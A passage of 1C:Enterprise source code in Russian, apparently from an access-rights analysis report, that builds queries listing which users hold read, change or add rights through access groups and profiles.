ПраваПрофилей.Профиль КАК Профиль |ПОМЕСТИТЬ ВсеПрофили |ИЗ | ПраваПрофилейНаТаблицы КАК ПраваПрофилей |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ГруппыДоступа.Профиль КАК Профиль, | ГруппыДоступа.Ссылка КАК Ссылка |ПОМЕСТИТЬ ГруппыДоступаВыбранногоЗначенияДоступа |ИЗ | ВсеПрофили КАК ВсеПрофили | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа КАК ГруппыДоступа | ПО (ГруппыДоступа.Профиль = ВсеПрофили.Профиль) |ГДЕ | НЕ ГруппыДоступа.ПометкаУдаления | И ВЫБОР | КОГДА &ЭтоГруппаЗначенийДоступа | И ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | РегистрСведений.ЗначенияГруппДоступа КАК Значения | ГДЕ | Значения.ГруппаДоступа = ГруппыДоступа.Ссылка | И Значения.ЗначениеДоступа = &ЗначениеДоступа) | ТОГДА ИСТИНА | КОГДА НЕ &ЭтоГруппаЗначенийДоступа | И ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | РегистрСведений.ЗначенияГруппДоступа КАК Значения | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.ГруппыЗначенийДоступа КАК ГруппыЗначений | ПО | Значения.ГруппаДоступа = ГруппыДоступа.Ссылка | И Значения.ЗначениеДоступа = ГруппыЗначений.ГруппаЗначенийДоступа | И ГруппыЗначений.ЗначениеДоступа = &ЗначениеДоступа) | ТОГДА ИСТИНА | ИНАЧЕ ЛОЖЬ | КОНЕЦ = ВЫБОР | КОГДА ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | РегистрСведений.ЗначенияГруппДоступаПоУмолчанию КАК ЗначенияПоУмолчанию | ГДЕ | ЗначенияПоУмолчанию.ГруппаДоступа = ГруппыДоступа.Ссылка | И ТИПЗНАЧЕНИЯ(ЗначенияПоУмолчанию.ТипЗначенийДоступа) = ТИПЗНАЧЕНИЯ(&ВидДоступа) | И ЗначенияПоУмолчанию.ВсеРазрешены = ЛОЖЬ) | ТОГДА ИСТИНА | ИНАЧЕ ЛОЖЬ | КОНЕЦ"; КонецФункции Функция ТекстЗапросаДляЗначенияДоступаКонец() Возврат "ВЫБРАТЬ РАЗЛИЧНЫЕ | ПраваПрофилей.Таблица КАК ОбъектМетаданных, | ВЫБОР | КОГДА &УпрощенныйИнтерфейсНастройкиПравДоступа | ТОГДА ГруппыДоступа.Профиль | ИНАЧЕ ГруппыДоступа.Ссылка | КОНЕЦ КАК ГруппаДоступа, | ПраваПрофилей.ПравоЧтение КАК ПравоЧтение, | ПраваПрофилей.ПравоИзменение КАК ПравоИзменение, | ПраваПрофилей.ПравоДобавление КАК ПравоДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоДобавление | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоИзменение | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтение | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК Право, | ВЫБОР | КОГДА НЕ ПраваПрофилей.ПравоЧтение | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоЧтениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоЧтение | КОНЕЦ КАК ПравоЧтениеБезОграничения, | ВЫБОР | КОГДА НЕ ПраваПрофилей.ПравоИзменение | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоИзменениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоИзменение | КОНЕЦ КАК ПравоИзменениеБезОграничения, | ВЫБОР | КОГДА НЕ ПраваПрофилей.ПравоДобавление | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоДобавлениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоИзменение | КОНЕЦ КАК ПравоДобавлениеБезОграничения, | ВЫБОР | КОГДА ВЫБОР | КОГДА НЕ ПраваПрофилей.ПравоДобавление | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоДобавлениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоИзменение | КОНЕЦ | ТОГДА 3 | КОГДА ВЫБОР | КОГДА НЕ ПраваПрофилей.ПравоИзменение | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоИзменениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоИзменение | КОНЕЦ | ТОГДА 2 | КОГДА ВЫБОР | КОГДА НЕ ПраваПрофилей.ПравоЧтение | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоЧтениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоЧтение | КОНЕЦ | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоБезОграничения, | ПраваПрофилей.ПравоПросмотр КАК ПравоПросмотр, | ПраваПрофилей.ПравоРедактирование КАК ПравоРедактирование, | ПраваПрофилей.ПравоИнтерактивноеДобавление КАК ПравоИнтерактивноеДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоИнтерактивноеДобавление | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоРедактирование | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоПросмотр | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоИнтерактивное, | &ВидДоступа КАК ВидДоступа, | &ВидДоступаПредставление КАК ВидДоступаПредставление, | &ПредставлениеЗначенияДоступа КАК ЗначениеДоступа, | СоставыГруппПользователей.Пользователь КАК Пользователь, | ЕСТЬNULL(СведенияОПользователях.ВходВПрограммуРазрешен, ЛОЖЬ) КАК ВходВПрограммуРазрешен |ИЗ | ПраваПрофилейНаТаблицы КАК ПраваПрофилей | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ГруппыДоступаВыбранногоЗначенияДоступа КАК ГруппыДоступа | ПО (ГруппыДоступа.Профиль = ПраваПрофилей.Профиль) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа.Пользователи КАК УчастникиГруппДоступа | ПО (УчастникиГруппДоступа.Ссылка = ГруппыДоступа.Ссылка) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ВидыОграниченийПрав КАК ВидыОграниченийПрав | ПО (ВидыОграниченийПрав.Таблица = ПраваПрофилей.Таблица) | И (НЕ ВидыОграниченийПрав.ДляВнешнихПользователей | И (ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.Пользователи) | ИЛИ ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.ГруппыПользователей)) | ИЛИ ВидыОграниченийПрав.ДляВнешнихПользователей | И (ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.ВнешниеПользователи) | ИЛИ ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.ГруппыВнешнихПользователей))) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО (СоставыГруппПользователей.ГруппаПользователей = УчастникиГруппДоступа.Пользователь) | И (ЕСТЬNULL(СоставыГруппПользователей.Пользователь.Служебный, ЛОЖЬ) <> ИСТИНА) | И (&УсловиеОтбораПоПользователям) | ЛЕВОЕ СОЕДИНЕНИЕ РегистрСведений.СведенияОПользователях КАК СведенияОПользователях | ПО (СведенияОПользователях.Пользователь = СоставыГруппПользователей.Пользователь)"; КонецФункции Функция ТекстЗапросаДляЗначенияДоступаТипПользовательКонец() Возврат "ВЫБРАТЬ | ГруппыДоступа.Профиль КАК Профиль, | ГруппыДоступа.Ссылка КАК Ссылка, | ГруппыДоступа.Пользователь КАК Пользователь, | ГруппыДоступа.ЭтоАвторизованныйПользователь КАК ЭтоАвторизованныйПользователь |ПОМЕСТИТЬ ГруппыДоступаВыбранногоЗначенияДоступаСУчастниками |ИЗ | (ВЫБРАТЬ РАЗЛИЧНЫЕ | ГруппыДоступа.Профиль КАК Профиль, | ГруппыДоступа.Ссылка КАК Ссылка, | СоставыГруппПользователей.Пользователь КАК Пользователь, | ИСТИНА КАК ЭтоАвторизованныйПользователь | ИЗ | ВсеПрофили КАК ВсеПрофили | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа КАК ГруппыДоступа | ПО (ГруппыДоступа.Профиль = ВсеПрофили.Профиль) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа.Пользователи КАК УчастникиГруппДоступа | ПО (УчастникиГруппДоступа.Ссылка = ГруппыДоступа.Ссылка) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО (СоставыГруппПользователей.ГруппаПользователей = УчастникиГруппДоступа.Пользователь) | И (ЕСТЬNULL(СоставыГруппПользователей.Пользователь.Служебный, ЛОЖЬ) <> ИСТИНА) | И (&УсловиеОтбораПоПользователям) | ГДЕ | НЕ ГруппыДоступа.ПометкаУдаления | И ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | РегистрСведений.ГруппыЗначенийДоступа КАК ГруппыЗначенийДоступа | ГДЕ | ГруппыЗначенийДоступа.ЗначениеДоступа = &ЗначениеДоступа | И ГруппыЗначенийДоступа.ГруппаЗначенийДоступа = СоставыГруппПользователей.Пользователь) | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ РАЗЛИЧНЫЕ | ГруппыДоступа.Профиль, | ГруппыДоступа.Ссылка, | УчастникиГруппДоступа.Пользователь, | ЛОЖЬ | ИЗ | ГруппыДоступаВыбранногоЗначенияДоступа КАК ГруппыДоступа | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа.Пользователи КАК УчастникиГруппДоступа | ПО (УчастникиГруппДоступа.Ссылка = ГруппыДоступа.Ссылка)) КАК ГруппыДоступа |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ РАЗЛИЧНЫЕ | ПраваПрофилей.Таблица КАК ОбъектМетаданных, | ВЫБОР | КОГДА &УпрощенныйИнтерфейсНастройкиПравДоступа | ТОГДА ГруппыДоступаСУчастниками.Профиль | ИНАЧЕ ГруппыДоступаСУчастниками.Ссылка | КОНЕЦ КАК ГруппаДоступа, | ПраваПрофилей.ПравоЧтение | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоЧтениеБезОграничения) КАК ПравоЧтение, | ПраваПрофилей.ПравоИзменение | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоИзменениеБезОграничения) КАК ПравоИзменение, | ПраваПрофилей.ПравоДобавление | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоДобавлениеБезОграничения) КАК ПравоДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоДобавление | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоДобавлениеБезОграничения) | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоИзменение | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоИзменениеБезОграничения) | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтение | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоЧтениеБезОграничения) | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК Право, | ВЫБОР | КОГДА НЕ(ПраваПрофилей.ПравоЧтение | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоЧтениеБезОграничения)) | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоЧтениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоЧтение | КОНЕЦ КАК ПравоЧтениеБезОграничения, | ВЫБОР | КОГДА НЕ(ПраваПрофилей.ПравоИзменение | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоИзменениеБезОграничения)) | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоИзменениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоИзменение | КОНЕЦ КАК ПравоИзменениеБезОграничения, | ВЫБОР | КОГДА НЕ(ПраваПрофилей.ПравоДобавление | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоДобавлениеБезОграничения)) | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоДобавлениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоИзменение | КОНЕЦ КАК ПравоДобавлениеБезОграничения, | ВЫБОР | КОГДА ВЫБОР | КОГДА НЕ(ПраваПрофилей.ПравоДобавление | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоДобавлениеБезОграничения)) | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоДобавлениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоИзменение | КОНЕЦ | ТОГДА 3 | КОГДА ВЫБОР | КОГДА НЕ(ПраваПрофилей.ПравоИзменение | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоИзменениеБезОграничения)) | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоИзменениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоИзменение | КОНЕЦ | ТОГДА 2 | КОГДА ВЫБОР | КОГДА НЕ(ПраваПрофилей.ПравоЧтение | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоЧтениеБезОграничения)) | ТОГДА ЛОЖЬ | КОГДА ПраваПрофилей.ПравоЧтениеБезОграничения | ТОГДА ИСТИНА | ИНАЧЕ НЕ ВидыОграниченийПрав.ПравоЧтение | КОНЕЦ | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоБезОграничения, | ПраваПрофилей.ПравоПросмотр | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоЧтениеБезОграничения) КАК ПравоПросмотр, | ПраваПрофилей.ПравоРедактирование | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоИзменениеБезОграничения) КАК ПравоРедактирование, | ПраваПрофилей.ПравоИнтерактивноеДобавление | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоДобавлениеБезОграничения) КАК ПравоИнтерактивноеДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоИнтерактивноеДобавление | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоДобавлениеБезОграничения) | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоРедактирование | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоИзменениеБезОграничения) | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоПросмотр | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоЧтениеБезОграничения) | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоИнтерактивное, | &ВидДоступа КАК ВидДоступа, | &ВидДоступаПредставление КАК ВидДоступаПредставление, | &ПредставлениеЗначенияДоступа КАК ЗначениеДоступа, | СоставыГруппПользователей.Пользователь КАК Пользователь, | ЕСТЬNULL(СведенияОПользователях.ВходВПрограммуРазрешен, ЛОЖЬ) КАК ВходВПрограммуРазрешен |ИЗ | ПраваПрофилейНаТаблицы КАК ПраваПрофилей | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ГруппыДоступаВыбранногоЗначенияДоступаСУчастниками КАК ГруппыДоступаСУчастниками | ПО (ГруппыДоступаСУчастниками.Профиль = ПраваПрофилей.Профиль) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ВидыОграниченийПрав КАК ВидыОграниченийПрав | ПО (ВидыОграниченийПрав.Таблица = ПраваПрофилей.Таблица) | И (ВидыОграниченийПрав.ЭтоАвторизованныйПользователь <= ГруппыДоступаСУчастниками.ЭтоАвторизованныйПользователь | ИЛИ ПраваПрофилей.ПравоЧтениеБезОграничения | ИЛИ ПраваПрофилей.ПравоИзменениеБезОграничения) | И (НЕ ВидыОграниченийПрав.ДляВнешнихПользователей | И (ТИПЗНАЧЕНИЯ(ГруппыДоступаСУчастниками.Пользователь) = ТИП(Справочник.Пользователи) | ИЛИ ТИПЗНАЧЕНИЯ(ГруппыДоступаСУчастниками.Пользователь) = ТИП(Справочник.ГруппыПользователей)) | ИЛИ ВидыОграниченийПрав.ДляВнешнихПользователей | И (ТИПЗНАЧЕНИЯ(ГруппыДоступаСУчастниками.Пользователь) = ТИП(Справочник.ВнешниеПользователи) | ИЛИ ТИПЗНАЧЕНИЯ(ГруппыДоступаСУчастниками.Пользователь) = ТИП(Справочник.ГруппыВнешнихПользователей))) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО (СоставыГруппПользователей.ГруппаПользователей = ГруппыДоступаСУчастниками.Пользователь) | И (ЕСТЬNULL(СоставыГруппПользователей.Пользователь.Служебный, ЛОЖЬ) <> ИСТИНА) | И (&УсловиеОтбораПоПользователям) | ЛЕВОЕ СОЕДИНЕНИЕ РегистрСведений.СведенияОПользователях КАК СведенияОПользователях | ПО (СведенияОПользователях.Пользователь = СоставыГруппПользователей.Пользователь)"; КонецФункции Функция ПраваПользователей() УсловиеОтбораПоПользователям = ""; УсловиеОтбораПоВходВПрограммуРазрешен = ""; Если ОтборПоВходВПрограммуРазрешен() Тогда ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаНачало = ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаНачало() + " | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СведенияОПользователях КАК СведенияОПользователях | ПО (СведенияОПользователях.Пользователь = СоставыГруппПользователей.Пользователь) | И (СведенияОПользователях.ВходВПрограммуРазрешен)"; УсловиеОтбораПоВходВПрограммуРазрешен = " | И (СведенияОПользователях.ВходВПрограммуРазрешен)"; Иначе ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаНачало = ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаНачало(); КонецЕсли; Запрос = Новый Запрос; ОтборПоВидуПользователей = ОтборПоВидуПользователей(); ОтборПоПользователям = ОтборПоПользователям(); Если ЗначениеЗаполнено(ОтборПоПользователям.Значение) И ОтборПоПользователям.БезГрупп Тогда Запрос.УстановитьПараметр("ВыбранныеПользователиБезГрупп", ОтборПоПользователям.Значение); УсловиеОтбораПоПользователям = УсловиеОтбораПоПользователям + " | И (СоставыГруппПользователей.Пользователь В (&ВыбранныеПользователиБезГрупп))"; ИначеЕсли ЗначениеЗаполнено(ОтборПоПользователям.Значение) Тогда Запрос.УстановитьПараметр("ВыбранныеПользователиИГруппы", ОтборПоПользователям.Значение); УсловиеОтбораПоПользователям = УсловиеОтбораПоПользователям + " | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК ОтборПользователей | ПО (ОтборПользователей.Пользователь = СоставыГруппПользователей.Пользователь) | И (ОтборПользователей.ГруппаПользователей В (&ВыбранныеПользователиИГруппы))"; ИначеЕсли ОтборПоВидуПользователей = "Пользователи" Тогда УсловиеОтбораПоПользователям = УсловиеОтбораПоПользователям + " | И (ТИПЗНАЧЕНИЯ(СоставыГруппПользователей.Пользователь) = ТИП(Справочник.Пользователи))"; ИначеЕсли ОтборПоВидуПользователей = "ВнешниеПользователи" Тогда УсловиеОтбораПоПользователям = УсловиеОтбораПоПользователям + " | И (ТИПЗНАЧЕНИЯ(СоставыГруппПользователей.Пользователь) = ТИП(Справочник.ВнешниеПользователи))"; КонецЕсли; УсловиеОтбораПоПользователям = Сред(УсловиеОтбораПоПользователям, 4); ВключенаГруппировкаПоОтчетам = ВключенаГруппировкаПоОтчетам(); ВариантСОграничениямиДоступа = ВариантСОграничениямиДоступа(); ВариантПравНаОбъект = ВариантПравНаОбъект(); ВариантДляЗначенияДоступа = ВариантДляЗначенияДоступа(); УниверсальноеОграничение = УправлениеДоступомСлужебный.ОграничиватьДоступНаУровнеЗаписейУниверсально(Истина, Истина); Если ВариантСОграничениямиДоступа Или ВариантДляЗначенияДоступа Тогда Если УниверсальноеОграничение Тогда ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаВидыОграничений = ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаВидыОграниченийПоНовому(); Иначе ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаВидыОграничений = ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаВидыОграниченийПоСтарому(); КонецЕсли; ПустыеСсылкиЗначенийДоступа = УправлениеДоступомСлужебный.ПустыеСсылкиЗначенийДоступа(); КонецЕсли; Если ВключенаГруппировкаПоОтчетам Тогда ТекстЗапросаОсновной = ТекстЗапросаСГруппировкойПоОтчетам(); Запрос.Текст = ТекстЗапросаОбщий() + ОбщегоНазначения.РазделительПакетаЗапросов() + ТекстЗапросаСГруппировкойПоОтчетамДополнение(); Запрос.УстановитьПараметр("ПраваРолейНаОтчеты", ПраваРолейНаОтчеты()); Запрос.УстановитьПараметр("ТаблицыОтчетов", ТаблицыОтчетов()); ИначеЕсли ВариантСОграничениямиДоступа Тогда ТекстЗапросаОсновной = ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаНачало + ОбщегоНазначения.РазделительПакетаЗапросов() + ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаВидыОграничений + ОбщегоНазначения.РазделительПакетаЗапросов() + ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаКонец(); Запрос.Текст = ТекстЗапросаОбщий(); Запрос.УстановитьПараметр("ТекстРазрешенные", " (" + НСтр("ru = 'Разрешенные'")+ ")"); Запрос.УстановитьПараметр("ТекстЗапрещенные", " (" + НСтр("ru = 'Запрещенные'") + ")"); Запрос.УстановитьПараметр("ТекстРазрешенныеПользователи", " (" + НСтр("ru = 'Разрешенные'") + ") - " + НСтр("ru = 'авторизованный пользователь и его группы всегда разрешены'")); Запрос.УстановитьПараметр("ТекстЗапрещенныеПользователи", " (" + НСтр("ru = 'Запрещенные'") + ") - " + НСтр("ru = 'авторизованный пользователь и его группы всегда разрешены'")); Запрос.УстановитьПараметр("ОграничениеОтключено", "<" + НСтр("ru = 'Ограничение отключено'")+ ">"); Запрос.УстановитьПараметр("НестандартноеОграничение", ?(УниверсальноеОграничение, "<" + НСтр("ru = 'Нестандартное ограничение'") + ">", Отчеты.АнализПравДоступа.ПредставлениеОграниченияБезВидовДоступа())); Запрос.УстановитьПараметр("ТекстБезОграничения", "<" + НСтр("ru = 'Без ограничения'") + ">"); Запрос.УстановитьПараметр("ТекстВсеРазрешены", "<" + НСтр("ru = 'Все разрешены'") + ">"); Запрос.УстановитьПараметр("ТекстВсеЗапрещены", "<" + НСтр("ru = 'Все запрещены'") + ">"); Запрос.УстановитьПараметр("ПустыеСсылкиЗначенийДоступа", ПустыеСсылкиЗначенийДоступа); ВсеТаблицыСОграничением = Новый Массив; Запрос.УстановитьПараметр("ВидыОграниченийПрав", Отчеты.АнализПравДоступа.ВидыОграниченийПрав(,, ВсеТаблицыСОграничением)); Запрос.УстановитьПараметр("ВсеТаблицыСОграничением", ВсеТаблицыСОграничением); // Отображение специальных ограничений: // 1. Права по ограничению не показываются (информация в правах без ограничения на группе доступа): // <Без ограничения> - ограничения нет в одной из ролей профиля групп доступа. // 2. Права по ограничению показываются с ограничением (как для случая <Все разрешены>): // <Ограничение без видов доступа> - есть ограничение без видов доступа (специальные функции). // <Доступ запрещен> - безусловное ограничение на уровне логики ограничения "ГДЕ ЛОЖЬ". // <Ограничение отключено в профиле> - значит // нет настройки по видам доступа в профиле и // нет ограничения без видов доступа. // <Ограничение отключено>, <Ограничение чтения отключено> - значит // ограничение отключено во всех группах доступа или // отключено по видам доступа на уровне функциональных опций или // отключено на уровне логики ограничения "ГДЕ ИСТИНА". ИначеЕсли ВариантПравНаОбъект Тогда ЭлементДанных = ОтборПоЭлементамДанных(); ПраваНаЭлементДанных = УправлениеДоступом.ПраваДоступаКДанным(ЭлементДанных, Неопределено); Если Не ЗначениеЗаполнено(ЭлементДанных) Тогда ПраваНаЭлементДанных.Очистить(); КонецЕсли; Запрос.УстановитьПараметр("ПраваНаЭлементДанных", ПраваНаЭлементДанных); ТекстЗапросаОсновной = ТекстЗапросаПравОбъекта(); Запрос.Текст = ТекстЗапросаОбщий(); ИначеЕсли ВариантДляЗначенияДоступа Тогда ЗначениеДоступа = ОтборПоЗначениюДоступа(); СвойстваВидовДоступа = УправлениеДоступомСлужебный.СвойстваВидовДоступа(); ПоТипамГруппИЗначений = СвойстваВидовДоступа.ПоТипамГруппИЗначений; СвойстваВидаДоступа = ПоТипамГруппИЗначений.Получить(ТипЗнч(ЗначениеДоступа)); ВидДоступа = ?(СвойстваВидаДоступа = Неопределено, Null, СвойстваВидаДоступа.Ссылка); Отбор = Новый Структура("ВидДоступа", ВидДоступа); ВидыОграниченийПрав = Отчеты.АнализПравДоступа.ВидыОграниченийПрав(, Истина); Запрос.УстановитьПараметр("ВидыОграниченийПрав", ВидыОграниченийПрав.Скопировать(ВидыОграниченийПрав.НайтиСтроки(Отбор))); ВариантГруппировки = ЗначениеПараметраИзНастройки(КомпоновщикНастроек.ПользовательскиеНастройки, "ВариантГруппировки", 0); ТипПользователь = Новый ОписаниеТипов( "СправочникСсылка.Пользователи, СправочникСсылка.ГруппыПользователей, |СправочникСсылка.ВнешниеПользователи,СправочникСсылка.ГруппыВнешнихПользователей"); ТекстЗапросаОсновной = ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаВидыОграничений + ОбщегоНазначения.РазделительПакетаЗапросов() + ТекстЗапросаДляЗначенияДоступаНачало() + ОбщегоНазначения.РазделительПакетаЗапросов() + ?(ТипПользователь.СодержитТип(ТипЗнч(ВидДоступа)), ТекстЗапросаДляЗначенияДоступаТипПользовательКонец(), ТекстЗапросаДляЗначенияДоступаКонец()); Запрос.Текст = ТекстЗапросаОбщий(); Запрос.УстановитьПараметр("ВидДоступа", ВидДоступа); Запрос.УстановитьПараметр("ВидДоступаПредставление", ?(СвойстваВидаДоступа = Неопределено, "", УправлениеДоступомСлужебный.ПредставлениеВидаДоступа(СвойстваВидаДоступа))); Запрос.УстановитьПараметр("ЗначениеДоступа", ЗначениеДоступа); НайденнаяСтрока = ПустыеСсылкиЗначенийДоступа.Найти(ЗначениеДоступа, "ПустаяСсылка"); Запрос.УстановитьПараметр("ПредставлениеЗначенияДоступа", ?(НайденнаяСтрока = Неопределено, ЗначениеДоступа, НайденнаяСтрока.Представление)); Запрос.УстановитьПараметр("ЭтоГруппаЗначенийДоступа", СвойстваВидаДоступа <> Неопределено И СвойстваВидовДоступа.ПоТипамЗначений.Получить(ТипЗнч(ЗначениеДоступа)) = Неопределено); Иначе ТекстЗапросаОсновной = ТекстЗапросаБезГруппировкиПоОтчетам(); Запрос.Текст = ТекстЗапросаОбщий(); КонецЕсли; УпрощенныйИнтерфейс = УправлениеДоступомСлужебный.УпрощенныйИнтерфейсНастройкиПравДоступа(); Запрос.Текст = Запрос.Текст + ОбщегоНазначения.РазделительПакетаЗапросов() + ТекстЗапросаОсновной; Запрос.УстановитьПараметр("УпрощенныйИнтерфейсНастройкиПравДоступа", УпрощенныйИнтерфейс); 